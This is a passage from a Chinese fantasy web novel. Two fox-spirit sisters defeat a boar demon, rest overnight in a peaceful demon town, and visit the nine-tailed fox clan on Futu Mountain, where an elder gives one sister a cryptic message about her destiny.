那野猪被踢飞倒地也不见消停,在地上蛄蛹几下,又翻身站起来,疑惑地看着白河,又鼓气蓄势再次向白河进攻,白河也没惯着它,同样的招数又是猛踢。野猪像是不服气一样,来回折腾好几次,招式没变,只是架势一次比一次大,始终未能伤到白河分毫,终于是没了力气,一旁的白水盯着野猪,没敢松懈。也许是发现打不过白河,它原地又化作人形站了起来,是个三五十岁左右,穿着粗布衣,络腮胡须的糙脸大汉。
大汉化人形后立马换了攻击方式,一把扒开上衣,赤裸着上身,弯腰弓着背,背上白光一闪,无数猪毫尖刺就朝白河飞去。白水看到立马御火球挡在白河面前,将飞过去尖刺系数烧成了灰。白河看尖刺烧尽,右手里凭空多了一道白光化的大刀,朝大汉砍过去,这时大汉也有所防备,迅速变成野猪,低头拱背硬是接下了这一刀,刀砍在野猪背上,铛铛作响,却没有造成伤害。白河见砍不动野猪,又把白剑化成光团,拢在右手,捏拳蓄力,一拳接一拳砸在野猪身上,那野猪只是轻微抖了几下,不见倒下,更有起身反攻的迹象。白水看见白河力气不足,离野猪又太近,怕她吃亏,便化一半火团制住野猪,一半火团附在白水的拳头上,白河蓄力后力气不小,又有油烛火团的加持,几拳下去,野猪被打得奄奄一息,嘴里的血直往外冒。
若不是野猪赶忙化人形求饶,白河打死野猪的也不过再多两拳的事。野猪化成大汉后,满嘴鲜血,上气不接下气的喊着:“饶命饶命,打服了打服了。”
白水听到求饶,才飞到白河身边,止住了白河,问道:“你是谁,虎大妖的山头应该都被雷清干净了,你怎么在还活着?在虎大妖的山头干什么?”
那大汉起身瘫坐在地上,咽了咽口中的鲜血,回答道:“虎妖不是散了嘛,这山头空了,浪费,所以肯定会有人来抢占。昨晚我苦战一夜,好不容易抢来了这里,门头还没想好换什么,倒霉,今天就又要被你们抢了去了。”
白河听到,不屑一笑,嘲讽道:“就这水平,还苦战一夜?就没有大妖能拿得下你?”
大汉一听这话,直起了身子,直勾勾地瞪着白河,语气也硬起来:“我虽然散修才千把年,但那都是我一丝一毫积累灵气慢慢修炼的,那帮靠炼化修为大妖能比我强多少?”
大汉咽口血,不紧不慢的穿着上衣,接着没好气的数落着白河:“你这死狐狸,邪性得很,我几次做法都定不住你,不然被我一撞,不死也残,真是气死我了。”
但说到底还是没打过白河白水,他撇了一眼白水手里的火球,虚了口气小声的骂着白水说:“昨晚我本来就伤到了,你们还二打一,怎么?仗着白狐的修为,还不允许我打败啊?”
大汉语气理直气壮,说的白河哑口无言,白水也不好意思收了火球。白河白水理亏,也不恋战,后退了几步,白河边退边嘴硬指责大汉道:“你好好说话能死?不知道哪根筋不对劲,招呼也不打一句,铆足劲就是干架。你这不是会化人形说话吗?话说的亮堂的很,搞得我们不讲理一样。”
那大汉听倒也没有生气,他冲着白河轻声笑了,说:“我也是赚到了。你们实在是奇怪,根本看不出来修为,我还以为是两个不知死活的人闯入妖界了,想着吓唬吓唬你们,你们要是跑了就算了。但你们勇的很,那个小女娃还亮出了火球,我道是谁呢,原来是白妖狐的那两个小狐崽子。本以为就是两个小幼兽,能轻松赢了你俩,轻敌了,不愧是天星转世,也算见识了。”
白河白水相互看了一眼,默契地笑了一下。白河回过头又不解地问大汉:“我们打伤你,你还赚了?赚什么了?”
大汉瘫倒在地上,平躺着,看着天喃喃说道:“我以为白狐一家也不是好东西,跟这帮旁门左道的大妖一样想靠炼化修为成神。唉。它们都不是东西,没一个是好东西,要不是我这个千年散修,修炼的就是扛得住打,早就没了。幸好,你们和它们不一样,手脚干净,跟我对打的时候,修为也纯净的很。按我对这些旁门左道的大妖的认识,你们可能活不过成妖的阶段,没想到还活着,活着就好,活着我们妖族就有希望啊。”
大汉自言自语了半天,话说得有一句没一句,把白河白水听懵了,白水盯着大汉,有些生气地说道:“你骂我父王做什么?有什么话,明白了说,再背后嚼舌根子,信不信还揍你?”
大汉这会好不容易缓过了劲,听见白水这么不客气
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,也没有收敛的意思,往后一仰,躺在地上一动不动,瞥了一眼她俩,不屑地说:“打死我也是那话,我又没说错,物竞天择那套,你父王没教你们?打得过就打,打不过就灭,我又没办法不是。”
白河拦住了还要问话的白水,冲着白水藏东西的怀里就使了个眼色,白水下意识的护了一下,不情愿地摇摇头,但白河不耐烦的啧了一声,白水只得作罢,无奈地掏出了早上准备的疗伤药丸,这药丸还没在怀里捂热,就要掏出来给人,白水怨气冲天,一直冲着大汉翻白眼。白河接过药丸,上前走了两步蹲下,又递给了大汉,语气温和的跟大汉说到:“我叫白河,她叫白水。杀你抢修为的事,我们不干,我父王也不屑,你也别口不择言了。还能起来不?这个药丸是白水专门炼制疗伤的,送给你。这块山头我也借你一段时间,我准备去浮屠山寻人,你在这好好养个伤,帮我们打理打理洞穴可成?”
大汉听到白河说话,起身坐了起来,接过药丸仔细端详了一下,才说:“是个干净药丸,好东西,我收下了。但你们刚说去浮屠山?去找老妖狐吗?老妖狐现在有点自身难保,你找她干什么?你俩现在最要紧的是想办法逃出去妖界,懂不懂?”
白水听了皱起眉头,语气越发不客气地说:“你这人,拿了我的药丸还要评价一番,后面的话又说得像是我俩十恶不赦,万妖围剿一样,你还能不能好好说话了?说话就要说明白了!”
大汉摆摆头,也没好气地说:“这帮大妖都不是什么好东西,白狐王要是跟你们说了那就是说了,他不想你们知道,我一句两句哪说得清?你也是,我什么时候说的万妖围剿你们?是那些不安分的大妖存了坏心思,我这是担心以你们,怎么这么不分好坏呢?你俩这么晃悠来晃悠去的,就不怕他们?”
白河听着直皱眉头,思索了好一会又问到:“不安好心是哪种不安好心,我父王确实忌惮他们,守着我们,不让我们出灵地,昨天才松了口又允许我们下山四处看看,这中间的门道,我看不明白,你能再说详细点?”
大汉挠着头,嘶了一声说:“按我看到的哈,就是我看到的,白狐王跟那些个狗东西走的不是一般近,一天也不知道在琢磨什么,最近那些大妖又神神秘秘偷摸在张罗着什么事,我就凭感觉,就觉得没安好心,你们两个特殊,按理说白狐王肯定知道些什么,但是现在又放心你们到处跑,这是干什么?这白狐王是好是坏啊?”
大汉说话云里雾里,想到哪句说哪句,白河和白水被绕糊涂了,只能木讷地点点头,又摇摇头,不知道怎么回答他。大汉看她俩这个样子,叹口气继续说到:“也罢,看你俩就是什么也不知道的,去找浮屠山那个老妖狐吧,她跟这些大妖有联系,她能讲明白。我嘴笨,是说不明白了,一直以来我都知道他们有坏心思,但是具体怎么坏,我又不和他们来往,说不清楚,说错了又是惹是生非。”
大汉看她俩还在呆愣着,想了想又说:“去浮屠山最好飞过去,别再走地晃悠着去了,一路上的小妖能烦死你们,大妖能缠死你们,更别说还有惦记着你们的。二位早去早回,叫我猪不武吧,不会武,只能扛。这混沌界看来不适合我,等你们回来,我还是下山做个散修比较好。”
在猪不武这里怕是什么也打听不到了,白河白水也只能作罢,收起了探索心,和猪不武简单的叮嘱了几句,就再次飞到了空中。临出发那会儿还像个没头苍蝇,现在两姐妹目的已经明确,没有过多的停留,直直往西方飞去。
13. 小妖城停歇 平安难平安
白河白水躲在云上,铆足了劲飞,速度极快,朝着正西边飞了整整一天。奈何浮屠山太远,一眼望去,根本就看不到一点像是界山的地段。两只妖飞累了,看到底下有一处繁华的城池,白河想了想,就拉着白水飞下去,停在城池边休息。
白河想进城看看,可白水不敢贸然进城,两人正僵持着,看到一个背着竹篓,肩扛锄头的小狼妖朝进城方向走来。白水整理下衣服,待到狼妖走近,才鼓足勇气礼貌地拦住狼妖的路,不怪白水要做心理建设,小狼妖真就是名副其实的狼妖,虽然身体是人的身体,穿着粗布衣,身子倒是端正,可还明晃晃的顶着个狼头,也不知道是不是修行不够,看着很是怪异。小狼妖不知道路上在琢磨什么,没看见白河和白水,被白水突然拦住去路,惊吓地向后退了几步,又定睛看了半天,才学着白水弯腰作揖行礼。那模样奇奇怪怪的,引得白河也好奇地走上前盯着它看。
白水侧身挡住了白河不友好的目光,礼貌的问道:“小狼妖,我姐妹二人从正东边过来,想要去正西边,走累了,路过这里,不知道这个城池可容下外妖进出休息呀?”
小狼妖没有介意白河无礼,只是又仔细看了俩人很久,才放下竹篓和锄头,蹲在地上,又化成了狼身人头的怪异形状,回答道:“我修行不够,两位莫怪。这里是平安城,城里都是和我一样,修行不到家的小妖,我们不善斗,你们尽管进去就好。”
小狼妖化狼身后,不到白水腰高,白水觉得低头俯视对方,多少有点尴尬,于是盘腿席地而坐,跟狼妖也算是面对面了,小狼妖看白水如此知礼节,反倒有些不好意思地朝她笑了笑,白河见状也跟着盘腿坐下。白水坐正后继续问到:“我们自修炼就没下过山,听母亲说,妖界不都是单只或少数修炼,怎么这里还有个城池呢?”
狼妖狐疑地看了看白水,没有直面回答,只是警惕的问到:“你们从正东边过来,从混沌界那里的山上下来的?”
白河假笑了一下抢着回答说:“不是,我们离混沌界近,但不在混沌界,那边不敢过去,所以想往西边走走看看。”
狼妖听到白水说不是,就松了口气,说着:“是了,混沌界那帮大妖不干净得很,我看你们灵气干净,就说应该不是混沌界出来的。那边灵气充足,但不适合咱们,你们往西边去也好。”
白水看狼妖被白河蒙混过去,也轻松了不少,顺着话问:“正西边浮屠山离这里好像挺远的,这周遭灵气像是一点也没沾上浮屠山的边,少得很,这个城池里估计也好不到哪去,你怎么不往其他地方走走,好好修炼不是?”
狼妖不屑地说:“浮屠山有个鬼的灵气,一座死山。你们的母亲估计也是个没见过世面的散修,躲在小山里只关心哪里危险,就硬扛着修炼。”狼妖又叹口气,继续说“修炼难呀,妖界灵气就聚在几处,南边和北边只能算中规中矩,西边一点都没有,就数混沌界最好,那些个大妖占着好地方,我们过去也讨不到好。早就看开了,不是非得成神,修不成神修个人活活,也不枉这一世。”
妖狼朝城池大门努了努嘴,继续说道:“这个城池里都是看开了的小妖,不修神了,就在这静静的做人不也挺好?人间是去不了,人和妖难共处啊。这城池被我们打理的和人间的城池一样,我们在这里活着也到像个人,也算是圆了我到人的愿望。你看,我在城池外种了两亩地,自在呀,这做人就是好。这不,太阳要下山了,我正准备回去呢。”
狼妖又想了想,劝白水道:“越往西越荒芜,灵气稀少,也没什么妖了,你们找也找不到修炼的好地方了,歇脚地都难寻。南北倒是不错,不如去两边看看吧。”
白河往前伸着身子,不知道什么时候靠在了白水肩上,她忽略过狼妖的絮絮叨叨,抓住了重点问到:“不是说浮屠山有上古妖狐吗?灵气稀少它们也待得住?”
狼妖叹了口气对白河说:“你说九尾狐一族啊,也不知道它们怎么想的,偌大的一族,就剩了几只。我也奇怪呢,混沌界那些大妖们都不是老妖狐的对手,她怎么就心甘情愿待在那么个鸟不拉屎的地方,它们一族起码有千余年没有族人飞升了。唉,混沌界的这些妖真是祸害。”
白河靠在白水肩上,笨拙地点点头,白水被白河靠着不舒服,耸了耸肩推开了白河,小心翼翼问狼妖:“我们一会还想往西走走,想见见世面。这应该离浮屠山很远吧,怕遇到九尾一族的妖,我们怕打不过可怎么办。”
狼妖哈哈一笑,摇摇头说:“放心地去吧,这里去浮屠山跑得要十天,就是飞行也得三天。你们跑跑停停,看够了,半天就折回,也不必担心。看二位人形化的精致,恐怕也是个小千年的妖了,沿路都是些百年小妖,没事的。”
狼妖眨眨眼,笑着打趣:“再说了,九尾狐它们自从去了浮屠山,最少有千年没有残杀妖怪了,倒是帮过不少小妖,安全的很。你们要是正好遇到它们了,说不定还能得到帮助呢。”
白水听完,假意松了口气,假装高兴的应和着。见白水听进去话,狼妖伸了伸懒腰,说:“天不早了,我还要回去呢,二位一起吗?”
“嗯,我们进城歇一晚,明天再走。”
狼妖笑着站直了身子,说:“城里应有尽有,不比人间差什么,好好玩。”说完就变身成人身狼头的模样,背起了竹篓拿起锄头,向城门走去。白河白水也起身掸掸尘土,跟在了狼妖身后。
进了城门,才知道狼妖所言不假。正是天黑时,满城亮着五花八门的灯笼,街道上熙熙攘攘,各色妖人都有,多半都是人身兽头,兽头比比划划,人脸高声吆喝,小摊门店顾客络绎不绝,如果城中妖人都能化形成人,你说这是人间,一点也不违和。
在城里走了一小截路,妖狼停在一条小巷口,指了指自己,两姐妹立马明白,谢过狼妖,和它道别,狼妖摆摆手示意不要客气后就走了。城池不大,只有一条主街道,白河白水什么都好奇,走走停停,一会儿工夫就走到了尽头。白河拉着白水停在一家客栈门口,门口坐着一个身着彩衣,涂着厚胭脂的少妇,她看着白河白水在门口犹豫,笑嘻嘻地吆喝着:“两位住店吗?往前走都是人家,出门在外,不走回头路,过了我这个店可就没有客栈了哟~”
白水上前一步,点头道:“想住店,但我们头一次来,不知道怎么个住法?”
少妇仍旧笑嘻嘻地说:“我就说嘛,两位面生,从哪来啊?”
“东边,修炼不下去了,想往西走走,看看有没有什么机缘。”要说从哪来的,白河遇到狼妖的时候已经说过一次谎,这会轻车熟路,就又抢着回答到,白水撇撇嘴忍住了笑。
那少妇先是一怔,盯着白河白水
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看了好一会才说:“两位灵魄纯净,是不适合继续在东边呆着。”随即张罗她们进屋。白河刚要进去,又被白水拉住,她试探着问道:“老板娘,住店怎么算钱呢?”
老板娘一边笑一边说:“你们第一次来平安城吧,平安城和人界一样,用铜钱金银。若实在没有,就用灵宝在我这换就行”
白水出门没带钱,正在想要不要用油烛换的时候,白河掏出那个原本是准备给张清的钱袋子,从里面拣了一个银细环递给老板娘,说道:“拿这个抵房钱,如有多余,想再要点吃的,嗯……不知道够不够再换点铜钱呢?”
老板娘接过后,掂量了一下,眼里满是精明,乐呵呵道:“够了够了,还余的多,我再找你一贯钱,剩余的我可就安排吃食和客房了。”
银环虽细,却也是白芊精挑细选的手镯,不亏克数,明显老板娘就是看是两个小孩子,私昧了不少,白水想争一争,但被白河拦住了,也就没再说多余的话。好在老板娘剩点良心,足斤足两的给俩姐妹上了满满一桌子菜。白水看菜太多,又要了一壶酒,邀了老板娘一起坐坐聊天。
客栈这会客人都休息了,也不忙,老板娘就应了白水,一起坐下。白河白水不喝酒,老板娘一高兴,一壶酒喝了个精光,和姐妹俩打开了话匣子:“你们俩可千万别去混沌界,那里的大妖都是邪门外道。上次混沌界的虎妖被天雷打散了,你们知道吧,呸!真活该!”
“最近这些年,它们邪门的很,每次一有大妖被天雷打散,就着急忙慌的四处抓小妖修炉子,你说这抢修为是受了多大的伤,丹药炉子都坏了。呸!活该!”
“你们还想去浮屠山?那里可是魔妖两道的边界,现在去那里可没什么用了。浮屠山原本灵气充裕的很,我听说之前魔界有个魔头嫉妒,就想抢浮屠山,打死了不少妖修,最后被妖界的大妖们联合杀了,这些大妖也就这件事做得像那么回事。可惜了浮屠山,被那那魔头得不到就毁了。现在是九尾狐一族在浮屠山守着,怕那帮魔物过界再做破坏。”
“这人呐就是天机呀,化了人形不仅能说话,还能做妖魔不能做的事情,修为提升快还格外能思考。做人真好啊。你说为什么世间只有妖魔化人形,怎么没人化兽形呢?人、妖要是能和平相处就好了,相互学习,取长补短不是正好?”
“看两位也是明白人,要是修为提升不上去,也莫强求了,来平安城吧,我给二位寻个好人家,做个逍遥妖多好呢!”
老板娘絮絮叨叨,越扯越远,白河白水听的有趣也一直没打断她。直到深夜,有打更的路过门口,才知道已经过了二更,街上还是嘈杂声不断,老板娘伸了伸懒腰,不好意思的对白河白水说:“我一喝酒就话多,看你们也不是昼藏夜出的修士,上楼歇息吧,楼上有结界,很安静。”
白河看着门外不断走动的妖,好奇地问:“平安城只有夜里这么热闹吗?”
“对,你们沿路也看到了,城里都是些修为不够的妖修,白天灵气重,能修炼点是一点,晚上才会出来快活,只有晚上的平安城才真的是平安呐,唉。”老板娘说完叹口气就开始收拾起了桌子。
白河听到了老板娘叹气,本想继续问点什么,可白水在旁边已经困的东倒西歪的,耷拉在她身上,白河只得作罢,谢过老板娘后,就和白水上楼进了客房休息。
14. 雪山藏奇景 老妖说暗话
第二天一早,白河白水就和老板娘辞行离开了平安城,继续赶路。其实白河有点喜欢平安城,再加上昨天晚上老娘娘话没说完,她还想多留两天的,但白水提议先去浮屠山,之后带着妲菁菁再来玩也不迟,白河觉得在理,也就没再纠结。
好在那小妖狼没有骗她们,再往西边走果然像狼妖说的那样,很荒芜,姐妹俩放松了不少,飞飞停停惬意许多。为了避免不必要纠缠而浪费时间,一路上,白水都是有意避开大妖,其实零零散散的大妖们比不上混沌界的妖修,对白河白水来说,谈不上危险。行至第七天,飞在高空的白河终于看见了一座光秃秃的石头山,山上没有草木,山西边尽头蔓延着薄薄一层黑气,黑气不绝看不到尾。
白河白水停在山下,白河正在观察怎么上山,就见山上一个白点跳跳跃跃下来,一会儿,一只六尾狐狸停在她们眼前,那六尾狐摇身一变,就成了一个身穿锦衣,双手戴双镯,面容洁净妇人模样,白水盯着她感觉熟悉,正要开口。
那妇人朝着两人欠了欠身子,脸色温和地说:“老远看见你们俩飞来,我还好奇,原来是菁菁的好友呀,几日不见,你们就不记得我了,我去混沌界接的菁菁。”
白水赶忙拉着白河弯腰行礼,妇人摆手含笑道:“进山没有路,越往上越不好飞行,化兽形好走些,跟着我吧。”
浮屠山峭壁险峻,山石裸露,没有生气,越往上越冷,白河白水没有走过这么崎岖怪异的山路,六尾狐跑一会儿等她们一会儿,俯瞰过去,三只狐狸若隐若现在石山间,有几分凄凉。
迂回险转,三只狐狸跑了许久未停,终于,绕过最后一块拦腰石后,映入眼帘的景色终于不是狰狞的裸石了。浮屠山的山顶成片白雪皑皑,日头照射下白光一片,刺的人眼睛睁不开,好在白河白水是有修为的妖,眼睛很快就适应了。雪山高矮交错,每座山间隔不远,又笔直陡峭,远远看过去,压迫感十足。其中,最高的那座山半山腰位置,好像被截去了半截,像个巨大的‘石凳’,‘石凳’靠背的山体上隐隐约约能看见一条细细的水流在飞在空中落下,水流向下刚好落下‘石凳’坐的位置。最让人瞠目结舌是,那里有一处突兀的茂密林木,林木笔直而立。这会太阳西照,又刚好能穿过几个山头照在密林上,密林顶端伸出几个屋顶,绿瓦蓝砖闪闪生辉。这一幕既突然又违和,惊得白河白水停下脚步,呆呆地站着。
六尾狐见她们停下不走,化身成人,温和地笑着。指着密林说:“那里就是了,浮屠山里唯一的灵地,族奶奶看不得这山上凄凉,在人界极寒之地寻到了这种耐寒的树种到了那里,好在不缺光照,是不是看起来也有几分景色?”
白河白水化形后,连忙点头称是,如果不是亲眼所见,估计这说出去也没有哪个妖能信,浮屠山里还有这般乾坤。
六尾狐含笑点头,等到两姐妹不再惊神了,才带着她们飞过去,进了密林。密林里的建筑和白河白水家一样,是洞穴延伸连接着木屋成一体,但显然这里的木屋精致豪华,往上有三层楼,每一层都是红紫蓝绿,琳琅满目。密林树木高大,掩住的不仅仅是精致小楼,楼前五层阶梯,每一层阶梯两侧又有短木花草,阶梯中间还有一个巨大的八卦阴阳图案凸起。
眼前景色豪华不假,但白河还是轻微皱了皱眉头,她嘀咕着问了一句:“这些花草怎么感觉隐隐泛着黑光,是我的错觉吗?”
走在前面的六尾狐身体微微怔住,转身苦笑着对白河说:“离魔界太近了,魔气散不尽吧。你感知能力很强,族奶奶耗几十年净化这里的魔气,没想到还是这么容易就被你察觉了”说完又转身继续走。
白河闻言哦了,白水也拉了拉白河的袖口,眼神示意她不要再说话,就跟上了六尾狐脚步。
进入石屋,里面又豁然开朗,阳光正好,整个前厅都是亮亮堂堂的。六尾狐招呼她们坐下,就进了后堂请人。坐了没一会,妲菁菁就火急火燎的出来了,看见她俩,他就噼里啪啦的一阵指责:“才几天啊?你们两个跑这么远做什么?这么说我前脚走,你们后脚就跟过来了?白狐王就任你们俩乱来?来的路上可有危险?怎么这么不省心呢?我都说了,我会回混沌界,怎么?混沌界没有能和你们练手的大妖了?这一路,你们怎么没被大妖们打死啊?”
白河白水被骂的接不上话,白河脖颈一梗,看着门外,就当听不见。白水等妲菁菁停下喘气的功夫,才讪讪开口:“父王让我们下山的,我们这不是来看看你族奶奶嘛,这一路什么拦路妖都没有,真的。”
妲菁菁瞪了一眼白水:“白狐王让你们来这?他老人家要是兴师问罪来了这里,我绝对帮他揍你们,没得商量!”
白河听到妲菁菁说这,就不服气的回嘴说:“我们来之前在混沌界已经打过了一只猪妖,抢了山头,准备让给你,你这么不讲情面的话,那好,你打得过我,我才让给你。”
妲菁菁震惊的盯着白河:“抢混沌界的山头?你打败了哪只大妖?”
白河回答说:“前几日,灵地隔壁虎妖被雷打散了,山头空了,那只猪妖也想要那个山头,打不过我们俩罢了。”
妲菁菁正要问细节,里堂里传来一个苍老的声音,绕到前厅:“菁菁,引两个小子进来”
妲菁菁听到就收起了表情,诺了一声,对白河白水说:“族奶奶叫你们,一会再跟你们算账。”
白河满不在乎,冲着妲菁菁挤了个鬼脸,就和白水起身跟着绕过屏风进了里堂。里堂是洞穴打理的,石器很多,一只九尾白狐正息卧在一个石榻上。九尾白狐并未化人形,一动不动静卧,只有一双细长的眼睛看着她们。
“你说,虎妖被天雷打散了,白狐让你们下山的?”九尾狐嘴巴没有动,这声音空灵,但充满了整个穴洞,白河眼巴巴看着九尾狐,眨巴眨巴眼睛,忘了说话。
白水看白河不动,就赶紧弯腰行礼:“拜族奶奶安好。前几日我家附近的虎妖吞修为时没注意,破了零界点,引了天劫,它没能渡过去。我父王处理好了躁动的大妖们,就任我们下山了。菁哥走的
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时候匆忙,我们担心的紧,一下山就赶来看看。”
“嗯,白水回答简洁,是个聪慧的。”白水听到咧嘴冲着九尾狐一笑,拉着白河赶紧也弯腰行礼。
“菁菁跟你们在一起修炼六十年,可有欺负你们呀”
妲菁菁听到这句,梗着个脑袋,瞪着白河白水。白水站直身子不好意思地说:“没有没有,我们身上的本事都是菁哥教的,谢都来不及,他从来就没有欺负我们。只是菁哥要求高得很,总说我们修为进步慢,可我们现在都打得过大妖了。”
“都是菁菁教的,白狐一点不教你们?”
白水挠挠头,妲菁菁就接话回答说:“看吧,族奶奶,我真没说谎,白狐王夫妇俩一天天闲散的很,生怕她俩受累,舍不得她们那么辛苦。”
白河还在挠头功夫,周遭突然沉默寂静了。白河突然发现自己只身在一个黑漆漆的空间里,刚刚还在身边的妲菁菁和白水都不见了,周身环境什么也没有,完全处在虚无的黑暗里,对面原本卧在榻上的九尾狐凭空浮着,九尾狐一动,浮空坐着一位慈祥的白发妇人,老人面色安详,面容虽老态但看得出年轻时绝对是倾国容貌,就现在的老人的模样也比妲菁菁好看不是一点半点,只有眼睛和妲菁菁一样明媚多情。
本来还有点不知所措的白河,看见老妇人后安静了下来,在确定到没有危险后,刚要开口,那妇人就飞到身边。妇人抬手摸着白河的脑袋抚摸了一会,才开口道:“好在不需要额外的修炼。”
白河想问问她什么意思,发现自己完全不能动,就只能睁大眼睛瞪着老妇人。
“我盼你许久,才等来你。你在人间逗留快百年了,时机也该到了。该去四处看看,要找找答案了。白水与你不同,她此番转世有她的作为,你不能太依靠她了,既然在一起不好清醒,不如分开一段时日。”
“我知道你想问混沌界的事情,可混沌界的事一时半会说不清楚,说了就等于我在替你评判,这不合天道,我也不能再错一次。我不能左右你的想法,你需要自己去判断。既然出来了,再回去一趟,怕是就明白了。”
“你且回去吧,回去后就能看清他们的作为,再去你想要去的地方,行遍万里路,有很多事等着你,到时候,一切就会有答案。”
“切忌,所见非真。只有自己去体验了,才有解。独行更好,不要担心白水,她伴你而生,你只要活着,她就一定活着。”
“你不愚钝,只是白狐把你藏的太好,让你没了探究的欲望,等你看清三界,理清了心思,也就是星君归位的时候了。星君归位之时,我一族必鼎力襄助,但求星君不要忘了九尾族小妖菁菁与你共处几十年的情谊。”
说完,白河周身一切恢复如常,抬头就看到原本卧在榻上的九尾狐已经变成了一位老妇人,是刚刚的跟自己说话的老人,正和蔼地看着自己。旁边白水和妲菁菁也奇怪地望着自己,妲菁菁笑声说:“你发什么呆,族奶奶问你话呢。问你现在可饿着了,你呆愣愣的,想什么呢?”
15. 妖想人间景 漫不经心回
刚刚的对话发生的突然,结束的仓促,白河一时间也没搞明白,呆愣愣的站在那里,看着问自己话的妲菁菁,没反应过来自己要回什么话。见白河呆愣着,老妇人朝着三人摆了摆手,笑呵呵地说:“我就说她累了,走神了。祖奶奶我身体无恙。看你们千里迢迢的来,就让菁菁带你们在浮屠界好好玩几天。想要带妲菁菁回去混沌界就去吧,好歹在我这歇几天,没有来回奔波的道理。”
白河本就是来讨祖奶奶解惑的,刚刚祖奶奶的话说得云里雾里,白河最不善解字谜,没头没尾的话她怎么也明白不了,可当自己看向祖奶奶眼睛时,又问不出来,只能咽下要问的话,点头对祖奶奶弯腰谢过。白水又和老妇人客气了两句,三小只就退下了。妲菁菁带着她们见过其他族人后,便领着她俩去偏房里安顿。打理好住处,太阳已经落下,九尾一族也是摆了盛宴接待二人,浮屠山是雪山,白河白水一路上来也未见到活物,可招待她们的吃食以肉食为主,尤其是那一盘子清水煮的羊肉,不膳还带有青草香,听端上肉来族人介绍说只放了盐烹煮,本以为会膳腻,可入口后又完全不是那么回事,白河觉得美味的很,埋头就是猛吃,白水斯文些,也不见得吃得少,妲菁菁在一旁看着她俩笑得合不拢嘴。酒足饭饱后,热闹渐去,三小只才得了空闲回到偏房小屋里说着悄悄话。
晚饭吃了不少羊肉,这会白河白水仰坐在椅子上,揉着肚子,对刚才的饭食连连称赞,白水满足的对妲菁菁说:“菁哥,浮屠山的羊肉真好吃啊,你们用了法术养的?不见膻味,又很香,神奇哎!”
妲菁菁笑着说:“没有你说的那么玄乎,从人界北寒之地引来的羊。浮屠山常年积雪,山下偏远的地方才有草木,正正好好和人界西北地区相似,祖奶奶说人界的羊比浮屠山的还要好吃。妖不能去人界,是没机会尝到了,浮屠山倒是复刻了出来,是不是觉得神奇?”
说起人间,白河就想到了平安城,就立马坐直身子对妲菁菁说道:“来寻你的时候,我们路过了一座小城,叫平安城。那里的妖不以修炼为主,把心思放在怎么做人上,说是城里收拾的和人界一样,它们也想要做人呢。菁哥,你说这人间这么好,怎么就容不下妖呢?”
妲菁菁轻轻摇摇头说:“人间怕妖啊,也不知道何时的事了,说妖祸害人界,生灵涂炭,幸得上三道除妖才有了安宁。也不知道那些害人的妖怎么想的,就这么断了要去人间的念头。”
白河认真的问道:“那你说是不是妖不害人,人不怕妖了,妖就可以去人间生活了?”
妲菁菁无奈的抿着嘴笑了笑,说:“会有那么一天的吧。也不知道会是什么人能改变看法容得下妖,再改变现在的局势,这人应当勇气可嘉。”
白河听后眼睛轱辘轱辘的转,充满了期望,托着下巴地说:“等能去人间了,我要好好玩玩,看看人界到底有什么好。”
白水河妲菁菁也仰靠着椅子跟白河一起憧憬,三小只你一句我一句的,幻想个没完。好一会,白河突然想到了下午的事,才抽离了幻想,回过神来。下午和祖奶奶的莫名就处在虚空里,两个人说了什么,恐怕外界一切都不知,族奶奶既然用了这么隐蔽的方式跟自己说话,自有不能让别人知道的道理。但族奶奶说了一堆未知的话,对于白河的疑惑事是一点也没解,这中间祖奶奶和妲菁菁白水说了什么,她也不知道,怕自己错过什么信息,她想着问问白水。白河停顿了一会,问白水道:“下午我分了神,你可问了族奶奶,混沌界那个猪妖说的什么意思?”
白水这会坐姿端正,正喝了口茶,听到白河问放下茶杯后,不满的瞟了一眼白河,用手肘戳了戳妲菁菁,阴阳怪气地说:“你瞅她,这会儿的耷拉样,保证打不过你,锤死她算了,反正是一句也没听进去。”
妲菁菁也在喝着茶,看都不看她俩一眼,故作正经地说:“我妲菁菁什么时候欺负弱小了?”说完又好奇的问白河:“说起来,你那会整个人站在那里呆如木鸡,不像是累了,你在想什么呢?”
白河想了想谨慎地回答道:“我那会还在想门外花圃那股子黑气,那股子黑气让我心神不宁的。”其实哪有什么心神不宁,那股子黑气总让她觉得不对劲,虽然六尾狐说是里魔界近,沾染上的,可黑气明明是由地底滋生出,有很浓郁的怨气。
妲菁菁盯了很久白河,看不出所以然来,才缓缓开口道:“你感知能力真的好奇怪啊,那确实是魔界大妖的气息,从何而来我也不知道。早在我出生前,佛魔人三道就在这里布了镇,不让黑气蔓延,听族人说魔界为了破镇,屡屡想办法来犯,所以我族奶奶在这镇守。”
白河不明所以的点点头,她像是明白了一点,又像是不明白的懵懂,但此刻她更好奇猪妖的事情,没有过多追问,又看向了白水。白水心领神会,插嘴道:“猪妖的事情别想了,族奶奶说大妖们是想炼化我们,只是一只找不到炼化的办法,混沌山的大妖都是为了此事,不是父王多厉害,而是它们暂时没有把握,所以就只能守在我们周围。”
白河点点头,这个回答解释了一部分混沌界奇怪氛围,但还有一些事情没能和这个回答挂上钩,想了一会,她对着妲菁菁若有所思地说:“也是奇怪,自从你走,就发生了好几件匪夷所思的事情,一件接一件,我之前从未像现在这样困惑。”
妲菁菁翻了个白眼,没好气地说:“怪我?你怎么不在见族奶奶的时候,怪她唤我回来?”
白河被妲菁菁
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抓不住重点的回答呛住了,没好气的瞪着他,白水在一旁看见白河吃瘪,嘿嘿的笑着。被妲菁菁这么一闹,白河也不想问了,三小只打闹一会,看天色已晚,妲菁菁也没有停留很久,叮嘱她们好好休息就走了,白河白水这几天也累得不轻,不管不顾的睡了个踏实。
在浮屠山休息的几天时间,妲菁菁带着白河白水好好玩了几圈,雪山景色确实壮阔,心境也与在混沌界大有不同,只是游玩空闲,三小只曾隔空俯瞰过魔界,白河总觉得黑漆漆的魔界里有什么在等着她过去,但又说不清楚那种感觉,白水妲菁菁是不可能和她一起去探究竟的,这让白河徒添了一道心事。
折腾了有半个月时间,妲菁菁看白河白水待不住了,才准备着带她俩回混沌界。来浮屠山这么久,也就来的时候见过祖奶奶,其他时间都是妲菁菁和九尾族人带着白河白水,临行时,祖奶奶也没露面,只是让妲菁菁带了叮嘱的话,白河也不是没问过祖奶奶的情况,妲菁菁只道是祖奶奶身体有些虚弱,不愿意热闹而已。为什么虚弱,怎么个虚弱法,他也讲不明白,白河不好过问,只得作罢。
